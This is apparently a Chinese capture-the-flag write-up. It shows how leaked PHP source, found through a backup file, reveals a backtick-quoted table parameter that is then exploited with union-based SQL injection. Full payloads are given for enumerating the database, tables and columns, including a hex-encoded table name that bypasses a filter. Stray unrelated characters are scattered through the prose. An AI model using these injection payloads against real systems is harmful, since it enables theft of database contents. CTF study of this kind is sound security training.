題目提示先獲得源碼,首先考慮源碼泄露妻怎,運(yùn)氣比較好
嘗試了index.php~
直接獲得了源碼
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
發(fā)現(xiàn)這里使用了反引號壳炎,比較特別,去百度了一下逼侦,發(fā)現(xiàn)下面兩行代碼是等價的
desc abc
desc abc `abc`
因?yàn)榉匆栔械淖址畷划?dāng)成表解析匿辩,這里只要前者表存在,即可運(yùn)行榛丢,這里應(yīng)該就是考察點(diǎn)了
那么開始注入
payload:
?table=test` ` union select database()
正巢颍回顯,加入limit 1,1
晰赞,成功得到數(shù)據(jù)庫名:61d300
paylaod:
?table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
成功得到數(shù)據(jù)表名:secret_flag,secret_test
?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=secret_flag limit 1,1
失敗稼病,考慮flag被過濾
?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
成功得到列名:flagUwillNeverKnow
?table=test` ` union select flagUwillNeverKnow from secret_flag limit 1,1
getFlag:flag{luckyGame~}